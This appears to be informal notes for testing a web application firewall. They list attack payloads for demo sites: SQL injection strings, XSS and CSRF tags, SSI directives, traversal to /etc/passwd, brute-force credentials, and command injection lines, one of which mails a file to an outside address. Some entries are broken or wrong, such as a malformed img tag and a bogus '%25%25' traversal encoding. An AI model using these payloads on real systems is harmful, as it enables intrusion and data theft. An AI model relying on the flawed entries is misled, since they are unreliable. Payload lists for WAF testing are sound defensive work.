**Attack Vectors For Vulnerabilities**

* **BREAKGUARD ATTACKS:**

1. **Directory Traversal:**

* Attack vector is '/' after domain name in URI.
* Main site URL is http://demo.testfire.net/
* http://demo.testfire.net/bank/
* <http://demo.tetsfire.net/pr/>

1. **Cross Site Request Forgery:**

* Mallory: Hello Alice! Look here:

<imgsrc="http://bank.example.com/withdraw?account=Alice;amount=1000000&amp;for=Mallory">

* Vuln.indussecure.com using breakguard to change password.

1. **SSi Injection:**

* Depends on SERVER OS.
* First attacker wants to know server OS.
* <!--#echo var="DOCUMENT\_NAME" --> //To show current document filename
* <!--#fsize file="ssi.shtml" --> //Using the “fsize” command, it is possible to print the size of selected file

1. **HTTP GET Flooding:**

* Suppose we have one URL like,
* URL has a Vulnerability like HTTP GET Flooding. If attacker continuously send the GET request using some vector. That page load so many times.
* In BREKGUARD, DVWA is a good example for this attack.

1. **Brute Force Attack:**

* Any type of username and password like admin admin123 , demo demo@1234 , test test@123 , etc...
* Maximum 3 times attacker can put the wrong usrname nd password. after that their IP will blocked by WAF for 10 secs.

1. **Blind SQL Injection:**

First start with ,

* '
* 'or
* 'or''='
* 'or '1'='1
* 'or 'bug'='bug
* ' union select null,null,null,null,null –

1. **File Injection:**

* ../../../etc/passwd

1. **DDos Iframe Attack:**

* <iframe src=http://vuln.indussecure.com/ height=500 width=600>

1. **Cross Site Scripting (XSS):**

* <SCRIPT>alert("hello123");</SCRIPT>
* <meta http-equiv="refresh" content="0;URL=https://www.test.com/">
* <body bgcolor="red"></body>

1. **Command Injection:**

* (Windows) <normal\_input>; dir c:
* (Unix) <normal\_input>; ls
* 127.0.0.1 && ls
* 127.0.0.1 && dir
* file.txt;mail tester@test.com < file.txt //send an email to yourself
* file.txt;ping www.test.com //ping a webserver you have control of
* file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.

1. **SQL Injection:**

* 'or '1'='1 Put this same value in username and password.
* 'or 'bug'='bug Put this same value in username and password.
* http://www.bank.com/index.php?id= 1 UNION ALL SELECT creditCardNumber,1,1, FROM CreditCardTable
* ' or 1=1 –

1. **Encoding Abuse:**

* Attack Example: URL Encoding.
* The following type of encoded string has been known traverse directories against the server:

<http://[targethost]:8000/somefile/%2E%2E/target.mp3>

or using

"/%25%25/" instead of "/../".

* The control character ".." can be used by an attacker to escape the document root.
* We can match the Pattern "\\\\%(?![0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" Encryption like MD5 , SHA-1, etc....

1. **HTTP Protocol Violation:**

* The regex specifies the proper construction of URI request lines such as:

"http:" "//" host [ ":" port ] [ abs\_path [ "?" query ]]

* If this type of format not match with URI ,WAF block it.

1. **Information Leakage:**

Leakage like,

* Physical Path,Requested URL,Logon Method,Logon User,Runtime Error,
* <customErrors mode=\"RemoteOnly\"
* Any type of error on page like,
* Warning: mysql\_pconnect():
* Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

1. **IP Reputation Intelligence:**

* Check IP is Blacklisted or not..in Simple thing IP is good or bad.

eg. http://mxtoolbox.com/SuperTool.aspx

1. **Malware Infection:**

* In given Link there are so many malwares are available. If any type of malware found our WAF Block it.

<https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/ebe8790dd8d6949eade1a16dc47179dc6e376179/base_rules/modsecurity_50_outbound_malware.data>

1. **Parameter Tampering:**

* <input type=”hidden” id=”1008” name=”cost” value=”70.00”>
* Web application that permits a user to select his profile from a combo box and debit the account: <http://www.attackbank.com/default.asp?profile=741&debit=1000>